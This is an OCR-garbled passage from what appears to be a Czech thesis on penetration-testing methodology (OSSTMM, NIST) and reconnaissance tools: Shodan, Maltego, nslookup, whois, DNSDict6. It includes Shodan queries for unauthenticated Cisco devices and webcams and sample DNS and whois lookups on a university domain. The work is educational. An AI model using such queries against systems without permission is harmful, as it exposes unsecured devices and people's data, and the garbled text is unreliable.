» fyzickéa (interakce lidi s prodim),
» lidsky faktor,

» bezdratova komunikace,

* telekomunikace,

» datové sit a operani systémy

Cenné informace pro testery, ¥tenaji s penet@nim testovanim minimalni zkuSenosti se
nachazeji v kapitole 2.4 — rules of engagementplhebavidla kontraktu. Tester zde najde
cenné informace a tipy pro cely Zivotni cyklus gesmiho testu - od rad jak své sluzby
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nabizet (nap ,nedoporduje se, aby byl penetfai test zdarma, pokud seipik nezdai*)
az po to, co by #a obsahovat z&etna zprava a také jak by&n byt druhé strah
piedana. Tyto rady jsou sepsarfgedrg ve dvadtyriceti bodech.

Kapitola jedenacta metodiky OSSTMM zabyvajici segienim testovanim datovych
siti a operénich systém je rozdtlena na sedmnéct podkapitotjg@mz v kazdé z nich se
zabyva jinou oblasti této problematiky. Prvni paqul@y se zabyvaji stanovenim ramce
testu a identifikaci ktiovych systém, jenz je feba testovat a identifikaci toho, co vSe
muze byt i testech ohroZzeno. Tyto podkapitoly |1ze chapab jakpravu na samotny test.
otazkami jako zdali funguji poplasné mechanismyiiikéad intrusion detection systersi)
zdali pracuje sprawnochrana dlezitych dat. Pro fipadovou studii v paté kapitole, jeZz se
rovnéz zabyva penettaim testovanim opetaich systém, budou vybrany z jedenacté
kapitoly metodiky OSSTMM ty pasaze, které Ize apli&t na tuto fipadovou studii. Jinak
fe¢eno, pokud seifpadova studie nezabyva zkouméanim toho, jak ud&atenipuluji

s citlivymi daty, nebude dan& podkapitola z metpddiSSTMM brana v potaz.

Metodologie OSSTMM pracuje s metrikou zranitelnogtiera svouciselnou hodnotu
testerovi sdli, vijakém stavu je ochrana testované infrastmyktu- zdali je
poddimenzovana, v padku, ¢i predimenzovana. Tato metrika je nazyvana RAV. Pokud
existuje rjaka odchylka oproti stavu ,v padku®, metodika rovee testerovi poradi, kde
existuji slaba mista a na co jela se zattit. Vypocet konkrétnich hodnot RAV je
zaloZen na slozitém vzorci a proto OSSTMNegstavuje nastroj pro tento vyiso.
Nastrojem je list v tabulkovém procesoru, kde teztela poZzadované vstupy a zigkslo
vyjadiujici procentuelni Groveochrany sit. Z ¢isla wtSiho nez 100% vyplyva, Ze Grave
ochrany je naddimenzovana a tim padem je zde iowé@sb vice prosedki, nez je teba.
Analogicky¢islo mensi nez 100%gdstavuje situaci, kdy v siti existuji jisté hrozkteré
je treba objevit a eliminovat. Kogie¢ vystup roven 100% ifpdstavuje situaci, kdy
infrastruktura je zabezpena pesre tak, jak by ngla byt.

Vstupy do vzorce pro vyget RAV metriky jsou:

 viditelnost (visibility),
e piistup (access),
e duvéra (trust)

Pod terminem viditelnost si lzefquistavit poet cili v infrastruktue, které spadaji do
rozsahu testu. Naiklad pokud se testuje Uraveabezpé&eni serverové infrastruktury ve
smeéru z internetu, pak viditelnosti je ¢t €chto servat, které jsou z internetu dostupné.
Pristup gredstavujeciselnou hodnotu, ktera se did v zavislosti na drovni interakce.
Napriklad v oblasti datovych siti séigtup vyjadi jako pa@et ote¥enych TCP/IP poitna
pacitatovych systémech spadajicich do rozsahu testu. Medhi¢ra zase fedstavuje
situaci, kdy jeden cil svoli k interakci s jinymesh. Divéra v terminologii OSSTMM tedy
piedstavuje peet vztati daveéry mezi jednotlivymi cili v rozsahu testu.
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OPSEC CALCULATION WORKSHEET
Visibility 25 Porosity 322
Access 316 Total Controls 177
Trust 6 Class A Controls 62
Class 8 Controls ns
whole Coverage 5,50%
Class A CONTROLS Missing Trve Coverage 5,507
Avthentication S 317 True Coverage A 1,93%
Indemnification 54 268 True Coverage B 3.57%
Resistance 1 321 Missing Controls 3043
Subjugation 1 321 Missing Controls A 1548
Continvity 1 321 Missing Controls B 1495
Class B Coverage Missing 94,507
Non-Repudiation 1 321 Total # Limitations 28
Confidentiality 54 268 Limitations valve 81,859578%46
Privacy 1 kY3

Integrity 1 321 Vuinerability 3,5271141
Alarm 58 264 Wweakness 3,27207379
Concemn 3,25959388
Exposure 1,41497335
LIMITATIONS Total Anomaly 3,19672872

Vuinerabilities 1] s.s27n
eckneses o 2
Concerns 4] 13,03838 OPSEC 20,61470539
Exposures S| 7.07487 CONTROLS 10,55092382
Anomalies 9| 2877056 LIMITATIONS 15,31252815
A -25,37630971
RAV 73,98964781

Obrazek 3 - Vypatet metriky RAV pomoci tabulkového procesoru

DalSi oblasti, kterou se metodika zabyva je tvovgaledné zpravy, neboli reporting.
S reportingem je u metodiky OSSTMM spjata zkratk@ARB, kterd je tvéena

z paiateenich pismen slov security test audit and reportieginotliva slova, z nichz se tato
zkratka sklada, jistnapovidaji, Ze se jedna o nastroj pro tvorbu tépeflektujicich stav
zabezpeeni infrastruktury, ktery rize slouZit rovZ jako tzv. checklist pro provadi
penetréniho testu. Analytik, jenz test vyplnil, sitibe spravnost svého postupu nechat
prowiit ptimo u spolénosti ISECOM zaslanim onoho formtga Jis€ neteba
zdiraziovat, Ze k tomuto kroku musi mit vyslovny souhlésstnika infrastruktury, jiz se
penetréni test tykal.

Kazda metodika, kterd chce svérttend dat peedstavu o tom, jak ma postupovat p
provadni penetraniho testu, by fla obsahovat asgiacamcové dleni penetréniho testu

na faze a row¥ specifikovat, co ma ktera faze obsahovat. Aniaaikee OSSTMM neni
vyjimkou. Dle OSSTMM se @i penetréni test natyii faze:

* uvedeni (induction),

* interakce (interaction),

» vySetovani (inquest),

* intervence (intervention)

Pro doplini jsou tyto faze zobrazeny na nasledujicim obrazku
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Faze uvedeni Faze interakce Faze vysSetfovani Faze intervence
Obrazek 4 - Faze penetréniho testu dle metodiky OSSTMM

Faze uvedeni ma jasivymezené cile. Jaaba si ugdomit ¢asovy ramec testu, rozsah,
pravni normy, které jgeéba brat v potaz a ujasnit si, které typyttdsidou pouzity. Faze
mechanismi ochraiujicich tyto cile a zaznamenavani informaci. Za fagetovani,
respektive obsah toho, co je naplini této faze;, fisvai jeji nazev. Jejim cilem je zjistit co
nejvice informaci mnohdy i z #gnych zdroj (nag. RIPE databaze) o cilech spadajicich
do rozsahu testu a vyhodnocerichito informaci (zdali nebyly odhalenyiwkrnée
informace, k nimz méa mitifstup pouze definovany okruh lidi apod.). Kéme faze
intervence ma za cil ekt funkénost kontrolnich mechanigma také zdali spra¥n
zafungovaly poplasné mechanismy.

2.4 Shrnuti

Jak Ize z pedchozich dvou podkapitol vit] v obou metodologiich je &ty rozdil.
Metodika NIST je co do pidu stran a pokryté problematiky m€rozsahla oproti metodice
OSSTMM, neb6é metodika NIST vubec neuvaZuje négjlad fyzickou bezp#&nost ¢i
bezpénost lidského faktoru. Dale metodika OSSTMM zavagioti metodice NIST
mnoho novych termin a definici. Také zavadi mozZnostéiih miru zabezpgeni

v konkrétnich ¢islech, ¢imz vznika zajimava moZznost srovnavani Urovni zageni.
Obecrt Ize tedy konstatovat, Ze metodika OSSTMM je rigo&si a obsahlejsi,
problematiku penettaiho testovani podchycuje &t$im dirazem na detail a hodi se pro
jak z&inajici, tak i zkuSe¥Si penetrani testery a rozsahlejSi penematesty. Metodika
od agentury NIST je lépe srozumiteln&irajicim testamm, nebd zavadi oproti OSSTM
mensi mnoZstvi novych pojma Wnuje se pouze zabeze®i informa&nich technologii.
Tak ¢i tak, rozhod® Ize usoudit, Ze pra¥end metodika je vhodnym a pelbnym
pomocnikem jak {f piipraw tak provadni penetréniho testu a ip psani zavrecné
zpravy. Pro lepSi nadhled nad celou problematilo¢iné nastudovat si metodik vice
a z kazdé vybrat ty informace a rady, které budépomocné i provadni konkrétniho
penetrgniho testu.
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3 Nastroje pouzivané k penetra €nimu testovani

V této kapitole budou fledstavenytzné nastroje, které peneiré tester mze vyuzit ke
své préci. Nastroje budou rageny do sekci podle toho, v jaké fazi jsou jejigfstupy
pouzitelné. Jednotlivé faze, do nichZ budou néstkategorizovany, byly odvozeny z fazi,
jez doporguji metodiky NIST a OSSTMM.

3.1 Linuxové distribuce zaméiené na penetracni testovani

Linuxovych distribuci zamfenych na penetéai testovani a informéai bezpeénost
existuje mnoho. ¥Sina z nich ovSem jiz delSi dobu neni udrZzovaaktaalizovana, proto
jejich pouzitelnost gasem klesa. iftkkladem distribuci, které jiz nejsou udrzovany, moh
byt kuprikladu Whax ¢i  Knoppix-STD. V nésledujicich dvou podkapitolattudou
popsany distribuce, které se neustale vyvijejpa jge s¥té informaini bezpénosti hojré
pouzivany.

3.1.1 Backtrack

Na strankach Backtrack projeRtuze zjistit, e se jedna o distribuci z&®nou na
bezpé&nost obsahujici velké mnoZstvi nasirgro bezpénostni audity a pro penetra
testovani, za niz stoji spoéteost Offensive Security. Tato distribuce nerdhpizena ani ve
védeckych kruzich. Odbornici z Technické univerzitgwkuresti vydaliclanek, v gmz se
zabyvaji otdzkou edukace odboriniraw pro oblast informéni bezpeénosti [32]. Po
avodu do teorie nasleduje praktickyikbad z oblasti penetéaiho testovani, kde je
Backtrack pouzit jako opefai systém na pdtaci atocnika, ktery se snazi odhalit slabiny
v siti, do niZ je fipojen. Autor¢lanku nazvaného Beat security auditors at their game
[33] se zabyva uvodem do problematiky pengtilao testovani a nastfojs touto
problematikou souvisejici. Ope&rdm systémem, pomociélnoz tyto nastroje a jejich
pouziti gredstavuje, je Backtrack.

Spolenost Offensive security ohlasila vyvoj zbrusu navgtrubuce nazvané Kali Linux,
kterd bude zaloZena na distribuci Debian. Jejicméedje takovy, aby Kali Linux
s postupentasu Backtrack nahradil.

3.1.2 Blackbuntu

Distribuce Blackbuntu je zaloZzena na Linuxové dsici Ubuntu, jak jist nazev
napovida. V knize autdrEngbertsona a Broada je zZiovana jako alternativa k rigjst;ji
uzivané distribuci Backtrack [2]. Na strance prajélse uvadi, ze Blackbuntu je vyvijeno
a udrzovano skupinou nadséne oblasti pditacové bezpénosti a nestoji za nim Zadny
velky hr& v oboru informani bezpeénosti, jako je tomu u projektu Backtrack, ktery je
za¥itovan spoleénosti Offensive Security. O tom, Ze vegtsvinformaini bezpeénosti
hraje Blackbuntu ve srovnani s distribuci Backtrtad&ikajic druhé, housle suci i fakt,

Ze termin Blackbuntu je k nalezeni v minimideckychc¢lanki.

® http://www.backtrack-linux.org/
* http://www.blackbuntu.com/about
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3.2 Nastroje pro fazi prizkumu

Tato faze si klade za ukol zjistit o cili penétrého testu co nejvice informaci, z nichz Ize
dale vychazet ip dalSich fazich penettaiho testu. Jedna se zpravidla o rozsah IP adres,
emailové adresy, dokumenty, které unikly na interae mohou obsahovatukzité
informace, ¢i adresy dlezitych servel, na které by Slo ffjpadré zaut@it. Z divodu
rozsahlosti a komplikovanosti problematiky pen&tibo testovani nejsou nastroje
porovnatelné, nelvo kazdy nastroj poskytuje informace rozdilného druduexistuji

I nastroje, jejichz vystup tize poslouzit jako vstup dalSimu nastroji. Kazdyastroji tedy

k UsgSnému penettaimu testu fispiva svym dilem.

3.2.1 Shodan

Prvni zminka o Shodanu se naejrosti objevila v roce 2010 na konferenci DEFCON
poradané kazdotmeé ve Spojenych statech americkych. Michael Schedesronstroval na
praktickych gikladech vyuziti tohoto nastroje. Organizétmnference poskytli dokument
shrnujici hlavni myslenky Schearerovy prezentadg. [$hodan funguje na podobném
principu jako internetové vyhled&e prochazejici webové stranky. Rozdil je v tom, Ze
Shodan nesbira data z webovych stranek, aleizzené komunikujicich po siti, respektive
banned téchto z&izeni. ®mito z&izenimi se rozumi najlad webkamery, sové prvky
jako pepinge nebo sirovate, tiskarnyc¢i servery, ale pomoci Shodanu lze nalézt
I nezabezpgené systémy pouzZivanéfikeni s¥telné signalizace na figovatkach.
Vysledky svého vyhledavani Shodan uklada do databazivatelm poté pomoci vhodn
kladenych dotatdovoli v této databazi vyhledavat.

Akademické ¢lanky [36] a [37] ve svém uvoduigdstavuji, kemu Shodan slouzi
a vzapti se zabyvaji kombinaci Shodanu a SCADA systéaufipojenich k internetu.
Zarovei odkazuji na zpravu ICS-CERTymu zabyvaijici se touté? otazkou. d&nky, tak
zprava ICS-CERT tymu dochézi k 2&v, Ze Shodan nalezl a indexuje informace, pomoci
nichz lze pistoupit ke SCADA systéfim souvisejicim kritickou infrastrukturou
Spojenych stétamerickych, a jejichz zabezfani je minimalniéi Zadné. ICS-CERT tym
zarover ve sveé zpray pripojuje rady a dopokieni, co by nili spravci danych kritickych
systént podniknout za &elem napravy situace.

Na strance projektu Shodan [52] Ize po kliknutidva malé Sipky zobrazené na Uvodni
strance vidt, kolik zaizeni bylo v t&i oné oblasti oscanovano. Obrazek 5 zn&zjertoto
&islo proCeskou republiku.

® Konference bezg@osti ve swté informasnich technologii. Vice informaci na https://wwwiate.org/
® http://ics-cert.us-cert.gov/ics-cert/
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Czech Republic

Scanned Hosts: 869350

Obréazek 5 - P@et nascanovanych zéizeni vCeské republice [52]

Schearer ve své prezentaci [35] ukazujeteré ze zakladnich fili jimiz I1ze vyhledavani
parametrizovat. Nasledujici odstavce tyto filtrypjswji a gedstavuji. Lze najklad

jednoduSe vyhledat vSechnatizani, ktera byla naindexovana v Pardubicich. aakwy

dotaz polozit, znazdauje nasledujici filtr a obrazek 6 pro dofth znazofiuje paet

zaizeni naindexovanych v Pardubicich.

country:cz city:Pardubice

Results 31 - 40 of about 5363 for city:Pardubice country:.cz

Obréazek 6 - Vysledky patici doCR a obsahuijici kl€ové slovo Pardubice [vystup ze Shodan]

Shodan umozni uzivateli pouzivat i operatorymito operatory jsou + (implicitni), <i
uzaveni hledaného textu do uvozovek (hledagsmpe slovni spojeni, nikoliv kombinace
jednotlivych slov). Tato fakta mohou vést k Uvazel ikonstrukcemi dot#éz které mohou
odhalit informace, jez zcela jistnély zustat utajené. Nasledujici odstavec uveékohk
piikladi takovych dotai.

cisco-ios last-modified -401

Na vystupu takového dotazu se objevi vSechrié&zezai vyrobena firmou Cisco, ktera
neobsahuji navratovy kod 401 (unauthorized) a afrovobsahuji vyraz
,Cisco-ios last-modified”, coz jéadek se objevujici se v konfigdrdm souboru zZdzeni
Cisco a z#izeni objevujici se ve vysledcich tohoto dotazu meiyobyvaji opro&na od
jakéhokoliv zabezp®ni a jsou fistupna bez adfeni uzivatele.

webcam -401 -SQ-WEBCAM

Takto poloZeny dotaz dotaz vréati vSechny webkamétgré se neohlasily pomoci
navratového kédu 401 (unauthorized) a neobsakifitec SQ-WEBCAM (tyto kamery
takika ve vSechippadech pozadovaly autentifikaci uzivatele).
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RovreZz mize nastat situace, kdy jgeba vyhledat @ity softwarovy produkt (kuiikladu
webovy server) v u@ité zemi, nebt infrastruktura cile, na &mz je penetréni test
provadn, tento produkt obsahuje a existuje realnd moztasd, Zze se pravdany cil
objevi ve vysledcich vyhledavani, coz igeéastcasu, kterou by jinak musel peneina
tester ¥novat vyhledavani adresniho rozsahu cile a nastedrs¢anovani tohoto rozsahu.
Nasledujici dotaz #pstupni vSechny IIS servery, které byly pomoci eagiShodan
naindexovany, jsou ve verzi 5.0 a nachazeji €eské republice.

iis 5.0 country:cz

Shodan je pstupny zdarma v jeho zakladni verzi. Tato zakladeize ma ovSem jista
omezeni, ktera mohou bytigozsahlém penetéaim testu limitujici. Mezi tato omezeni
pati pristup pouze k prvnim & desitkam vysledk vyhledavani, nezahrnuti sluzeb
pracujicich na protokolech HTTPS a Telnet do vyldiedyhledavani a v neposledidde
nemoznost fistupu k API. Tato omezeni Ize odstranit zakoupeprdmiového fstupu
faddow v hodnot desitek dolar. Presn&astka je k nalezeni na webu projektu [52].

3.2.2 Maltego

Prvni dohledatelnd zminka o nastroji Maltego exyistuknize zabyvajici se open-source
nastroji pro penettai testovani z roku 2007 [38]. Zde autor popisudje, Maltego Ize
ziskat bd’ jako desktopovou aplikaci s grafickym uzivatelskyozhranim nebo je mozno
vyuZzit Maltego na webové strance organizace Paté&tesa za projektem Maltego stoji.
Paterva v dnesni dslposkytuje aplikaci pouze jako desktopovou, od adéhi weboveé
verze aplikace bylo upuSto. Maltego pedstavuje nastroj z kategorie OSINT
(Open-source inteligence). Tento termin popisugusichnik, nastrgj a postup, kdy

z vaejre dostupnych informaci jako jsou kiikladu fulltextové vyhledavae, socialni sé,
raizné online dostupné archiv§i registratdgi domén, probiha pomoci programového
vybaveni poitate extrakce a agregace podstatnych informaci vatdbhnjse k gjaké
entit (zpravidla emailova adresa, IP adresa, doménoe@gnapod.) a modelovani relaci
mezi £mito informacemi. Nastroje tohoto typu 8eisili acas, nebo usili, které by musel
penetr&ni tester vyvinout, pokud by informace tohoto drahl ziskavat rdné a nikoliv
automatizova#, je nesrovnatelh vysSSi, nez P pouziti nastraj z kategorie OSINT.
Rigorézni vys¥tleni terminu OSINT a fedstaveni nastrdj spadajicich do této
problematiky pin4si, jehoz autorem je Danny Bradbury [39].

Clanek autora Dannyho Bradbury popisuje praktickjklpd vyuziti Maltega, kdy ib
demonstraci jeho schopnosti byla nalezen&ja& dostupna fotka modelky s jejim
jménem, a nad timto jménem byly spust transformy, jenZz Maltego nabizi [39]. Po
nékolika chvilich Maltego prezentovalo velmi privatimiformace jako telefonnéisla,
adresa, fotky bytwi skute&nost, Ze se dana osob#egcasem Zivila jako profesionalni
tan&nice. Opora kunz penetréniho testovani spataosti Offensive Security [10] zase na
praktickém pikladu ukazuje, jak lze Maltego vyuzit ke zist emailovych jmen
spolupracovniku gaké osoby na zaklgdeji mailové adresy.
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V predchozim odstavci bylafeceno, Ze Maltego je nastroj disponujici grafickym
uzivatelskym rozhranim. To praci snim do &@ma miry, narozdil od nastioj
orientovanych na ifkazovou radku, zjednoduSuje. Maltego ma dva zakladni stadvebn
kameny:

e entity,
e transforms

Entitou se rozumi jak kusé informace, které uzivatglava na vstup acekava zjini
dodateénych detail k ttmto kusym informacim, tak samotné informace &jigtnastrojem
Maltego pomoci transforms. Pod terminem transfosimige gedstavit moduly, pomoci
nichz Ize Maltego roz&vat ve smyslu funkcionality, nebotyto moduly zajisuji
vyhledavéani informaci na zaklkad/stupu od uzivatele. Kazdy z moduima na starosti
hledani jiného druhu informaci. Lze tak najit fillad transform pro zjighi adresniho
rozsahu, do &z urita IP adresa p#f{ autonomni systém teto IP adresy, osobu
zodpowdnou za jeji spravu aripadre i spol&nost, které pat a mnohé dalSi informace
nejen o IP adresach. DalSirikladem toho, co Maltego dokaze zjistitibe byt napiklad
seznam mailovych adres vazanych kzadanému jméralecspsti, ¢imZz dostava
potencialni utonik do ruky seznam moznyckHilplaSovacich jmen, na nichZ Ize zkouSet
atoky hrubou silou. fedstaveni nastroje Maltego a ukazku pouZiti 1zét meggiklad

v publikaci organizace Offensive Security [10] tas: 118.

Maltego veSkeré zji8hé informace vykresli dofehledného grafu entit, wmz se lze
snadno pohybovat a v pravém hornim®kabrazi zmenSeninu daného grafu pro s&&dn
orientaci. Pro dopkni zobrazuje nasledujici obrazek 7, ktery vznikmavedenim vSech
dostupnych transforinna IP adrese 195.113.124.185.

SN
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L | L | L | L | L |
J I o e o
/w.pagespan.com digsitevalue,org www.siteinfotool.com www.pagesinventory.com webinfo.reformal.ru
L 7 L L e 31
+ + + + e
. . . e iy
top.robtex.com viewsitelog.nl upce.czwebsitetrafficspy.com websitelinformer.com 195.113.124.0-195.113.124.255
TS T use@upce.cz use@cesnet.cz
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m!ig !q.!
3.0.0-195.113.255.255 195.113.124.0-195.113.129.255 Czech Republic Unknown,Unknown, Unknown Pardubice, Czech Republic
1 1 1
d L L L

Czech Republic upce.cz WWW.upce.cz CMS-proxy.upce.cz

Obrazek 7 - Graf po provedeni transformi na IP adrese [vystup z Maltego]
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Z vysledku probhlych transformi Ize lehce vyist, Ze dana IP adresa se nachaZRy
konkrétre v Pardubicich a p&tdo adresniho rozsahu 195.113.124.0 - 195.112%24.
Byla zjiS€na i doménova jména, jejichzgklad ukazuje pravna onu IP adresu.¢mito

jmény jsou:

s upce.cz,
s Www.upce.cz,
e CMS-proxy.upce.cz

Na entitach, které vznikly provedenim transférma pivodni entit, Ize provadt dalSi
samostatné transformy. Zajimaji-li penébio testera nd&fklad dalSi IP adresy
a zajimaveé servery v adresnim rozsahu této admsge zarit na entitu adresni rozsah,
jak ukazuje nasledujici obrazek 8.

v
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1 951 1 31 Z All transforms —
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= e [This transform contacts ServerSniff (www.s
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Attach toLocationCountryNetblock e
R A N toLocationNetblock w
All transforms
Copy

[ ey Sy LY

Obrazek 8 - Dodaténé zjisténi informaci o nalezené ent# [vystup z Maltego]

Maltego existuje ve dvou verzich, a sice ve verom@unity a verzi Commercial.
Omezeni, se kterymi musi uzivatel verze Communibgitpt, sp@ivaji v moznosti
ukladani vysledk a patu provedenych transforimza jednotku¢asu. Cena za verzi
Commercial je stanovena rfadow stovky dolad. Vice podrobnosti o rozdilech mezi
verzemi se Ize didst na strankach projektu Maltéga také je mozno zde zjistit aktualni
cenu za verzi Commercial.

Nastroj Maltego umaiuje nainstalovat roz&ni. Toto roz§eni nese nazev Sploitego a jak
jist¢ znazvu plyne, Sploitego ro¥dje schopnosti Maltega v oblasti pen&tido
testovani. R instalaci Sploitega jsou do Maltega nahrany ntraésformy, které se od
téch stavajicich [iSi zasadnim tgwbem. NevyuZivaji databaze wvélmdostupné na
internetu, nybrz software instalovany lok&lffimto lok&lnim software se rozumi zejména
SNMP scannery, 8bvé scannery jako n#glad NMAP ¢i scannery zranitelnosti jako
nagiklad Nessus, jez budouguistaveny v nasledujicich podkapitolach. Zjigtvysledky
jako napiklad otewené porty prezentuje Maltego ve srozumitelné agddohé forms

" http://www.paterva.com/web6/products/maltego.php
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entit a relaci mezi nimi, coZ je oprotiikazovéradce, kterou pouzivajigkteré z nastrdj
z oblasti penetkmiho testovani, posun k uzivatelskému komfortu.

V piedchozi podkapitole (podkapitola 3.2.1) byl pops&hledav& Shodan. Pracovat
s timto vyhleddvweem Ize i z pohodli grafického présti néstroje Maltego. Na webu
projektu Shodan: Maltego add‘blze nastudovat, jakym #pobem je Ize nainstalovat do
Maltega doplk pro vyhledava Shodan.

3.2.3 Nslookup, dig, host

Prikaz nslookup, ktery je v opéigich systémechifiomen jiz od dob MS-DOS slouzi pro
interakci se servery DNS. fiPpenetrgnim testovani napomaha ziskavat informace
souvisejici s fekladem adres, se zjgvanim mailovych servémalezZicich k dané domén

a poskytovanim jinych iezitych informaci, které je DNS server ochoten kytrsout.

V neposlednitact Ize pomoci nslookup odhalit i Spatrzabezp&ené DNS servery
umoziujici prenos zén k tazateli, kteryiipodne k takto citlivym informacim neg mit
piistup. Organizace ISC, jez spravuje zdrojovy kodrdgramu nslookup a stoji za
nejpouzivagjSim DNS serverem soasnosti, se nechala slySet, Ze nslookup jiz dale
nebude vyvijet a upravovakesené potvrzuje i kniha nazvana DNS and BIND [41]
v kapitole 12 a jednim dechem dodava, Ze toto rabth vzeSlo zdvodu gilisné
nedokonalosti a mnozstvi chyb obsazenych v nslaokupe @ekavat, Ze nslookup bude
nahrazen nastrojem hastnastrojem dig.

Publikace organizace Offensive Security slouzidio jaopora vyukovych kufz [10]

v podkapitole nazvané Interakce s DNS serveremutiostréné gedstaveni nslookupu.
Dale ukazuje &kolik praktickych giklada dotaZi, které Ize pomoci nslookup pokladat
a na zawr této podkapitoly je&tend& seznamen s metodami progadslovnikovych Utok
na DNS servery. Tyto Utoky vedou zpravidla k objgva&ovych server ¢i sluzeb
dostupnych na dané donm nichz z poatku nengl penetréni tester tuseni. Zjigvani
doménovych jmen metodou hrubé sily se v této ppadrobrji zabyva podkapitola
nazvana DNSdict.

A¢ je nslookup jiz zastaraly, budgesto pouzit v ukadzce dolovani informaci z DNS
serveru. Jednak zZidodu kompaktnosti vystupu a jednak twddu, Ze pouziti host
a nslookup se od sebe liSi pouze minimaliasledujici piklad predvede, jakym
zpiasobem ziskat IP adresy posStovnich sérzelomény upce.cz:

C:\>nslookup
Vychozi server: mailadmin.moravanet.cz
Address: 95.173.194.1

> set type=mx
> upce.cz

8 http://maltego.shodanhq.com/
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Server: mailadmin.moravanet.cz
Address: 95.173.194.1

Neautorizovana odpoved:
upce.cz MX preference = 20, mail exchanger = mxl.upce.cz
upce.cz MX preference = 10, mail exchanger = mx2.upce.cz

>set type= A

>mx1.upce.cz

Server: mailadmin.moravanet.cz
Address: 95.173.194.1

Jak Ize vidt z vystupu z fikazovéradky, adresy mailovych servepro doménu UPCE
jsou nasledujici:

* mxl.upce.cz,
* mx2.upce.cz.

Je nasnaf] Ze pomoci nastroje nslookup Ize o cilové domgistit mnoho informaci,
které Ize poté vyuzit v dalSich fazich pen&tiho testu.

Clanek [40] roviz potvrzuje informaci o tom, Ze nslookup je v tatwili jiz neudrzovany
projekt a jednim dechem dodéava, Ze nastupci topopularniho néstroje se nazyvaji dig
a host. Fikaz host je feduken k plréni jednodussSich Ukd] jako je napiklad reverzni
vyhledani doménového jména k IP adréseyhledani IP adresy k doménovému jménu,
zatimco pikaz dig zvlada totéZ carifraz host a navic obsahuje jepodporu skriptovani,
dokaze zdrojova data, na zaklaaichZ bude klast dotazy DNS seriner, ¢ist ze souboru
a rovreZ Ize definovat, Ze dotaz ma byt polozen pouzeeseryenz je pro danou domeénu
autoritativni. Moznosti, jez dig nabizi, si lze navat v manualové strance tohoto
piikazu. Vice informaci oifkazu dig je k nalezeni v jeho manualové stranterakse

I L

zobrazi po zadani nasledujicihidkpzu v fikazovéradce operniho systému Linux.
man dig

3.2.4 Prikaz whois

Whois je jiz od nepagti sowasti gikazovéradky v operénich systémech Unixového
typu, kdezto v opetmich systémech od firmy Microsoft jéeba jej doinstalovat jako
externi komponentu. S whois se pracuje pomdeikiapovéradky, kde pomoci parameétr
a argumertt je uzivatel schopen ovlivnit chovani tohotidkiazu. Rikaz slouzi pro ziskani
informaci o doménovém jmérti IP adrese. Je zavisly r@nosti tzv. whois servér
které tyto informace shromdiji a udrzuji. Mezi organizace provozujici tytovesy pati
kuprikladu i evropsky RIPE, coZ je registrator majiaizndpo¥dnost gidélovani rozsat
verejnych IP adres na evropském kontinentu.

Kniha pojednavajici o open-source technologiichpeoetréni testovani [38] fedstavuje
technologii whois a mechanismus prace whois kiiemtodpovidajicich serviervice do
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detailu. Je zde row zmireén fakt, Ze drtiva ¥tSina servar poskytujicich odposdi na
dotazy whois ma vestamou ochranu proti dolovani dat. Jing&eno, neumaluji klast
vétSi mnoZstvi dotazu v kratkychasovych Usecich. Publikace spwlesti Offensive
security [10] v podkapitole nazvané whois recorsanse (Ize vokprelozZit jako pfizkum
pomoci whois) provadi nejprveaqmstaveni nastroje whois a poté demonstruje, jakeby
vystupy z tohoto nastroje daly pouzit k utoku vesien pomoci socialniho inZenyrstvi. Na
zawr podkapitoly je zmieén fakt, Ze na internetu je k dispozici kompletniorghdatabaze
ve verzi offline, jejiz velikost seflizuje hranici 600 megabit

Lze najit uzivatele, kterym Wfie prace vfikazovéradce pipadat obtizna, vysledky
mohou byt Spathcitelné a €zké na pochopeni. Takovym uzivdiel |ze doportit nastroj
Maltego, jenz byl pedstaven v jedné Zgdchozich podkapitol. Maltego poskytuje totozné
vysledky a jeho obsluhu Ize provdgomoci grafického uzivatelského rozhrani.

Whois umi pro zadanou IP adresu zjistit adresnéabzdo kterého dana IP adresdaipat
autonomni systém, jehoZz je dana adres&&sil) osoba zodpéuna za spravu dané IP
adresyci rozsahu (tento Udaj je Zadouci zjistit filtfad v pgiipads, kdy z dané IP adresy je
veden ®gjaky kyberneticky atok). Zjigni informaci o IP adrese zna#aje nasledujici
ukazka. Vypis byl zkracen tak, aby obsahoval paaimavé a relevantni informace.

root@bt:~# whois 90.181.109.95

%This is the RIPE Database query service.
% Information related to

'90.181.109.0 - 0.181.109.255"'

inetnum: 90.181.109.0 - 90.181.109.255
country: Ccz

status: ASSIGNED PA
mnt-by: AS5610-MTN
source: RIPE # Filtered
nic-hdl: HVJI1-RIPE
source: RIPE # Filtered
route: 90.180.0.0/14
descr: CZ.CZNET
origin: AS5610

mnt-by: AS5610-MTN
source: RIPE # Filtered

VySe uvedeny vypis prozrazuje mnoho cennych infaiméze vidt jiz zminovany

adresni rozsah, do kterého adresaripatutonomni systém, doémoz adresa nalezi
a v neposledniact i slovni popisek hovidci o tom, Ze adresa je untish vCeské

republice a registratorem IP adresy je organizd®&ERKontakt na osobu zodp&nou za

dany adresni rozsah byl z vypisu odstran

Podobs jako na IP adresu, Iz&igaz whois aplikovat i na doménové jméno a i vygeip
obdobny.
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domain: upce.cz

registrant: UNIVERZITA-PARDUBICE
nsset: UNIVERZITA-PARDUBICE
registrar: REG-INTERNET-CZ
status: paid and in zone
registered: 19.05.1994 02:00:00
changed: 23.09.2010 15:51:00
expire: 12.10.2013

contact: UNIVERZITA-PARDUBICE
address: Studentska 95
address: Pardubice

address: 53902

address: cz

registrar: REG-INTERNET-CZ
Created: 13.08.2010 14:27:45
contact: LK1902-RIPE

address: Pardubice

address: 53902

address: cz

registrar: REG-INTERNET-CZ

Z vySe uvedeného vypisu je patrné, Ze dana domatiagpganizaci jménem Univerzita
Pardubice £eské republiky, sidlici na adrese Studentska 95juB&e. RoviZ jsou
zobrazeny Udajetasového charakteru, jako rigpad kdy byla doména registrovana
a dokdy je zaplacena.

3.2.5 DNSDict6
DNSDict6 je skript, jenz Ize nalézt v Linuxové distci Backtrack. Pracuje se s nim za
pomoci pikazovéradky a napoddu k tomuto nastroji Ize ziskat nasledujicitikpzem:

dnsdict -h

Vznik tohoto néstroje byl z&jginén vzristajici mirou zabezpeni DNS serveér. V ranych
dobach internetu bylo mozno z libovolného DNS senatskat informace o celé z§mpro
niz byl autoritativni. Tim padem bylo mozno lehgst#t, jaké servery v dané zémracuji
a jakou maji IP adresu. Toto ovSem s postugasu a pibyvajicim p@tem uZivatel
internetu za&al byt problém, nehibkazdy, kdo chi, mohl ziskat o siti jakékoliv organizace
detailni rehled. Proto byla na DNS servery implementovanaarehpenosu zon, pomoci
niz Ize nastavit, komu bude ume&bnpienos zony. Tyto bezprostni mechanismy vedly
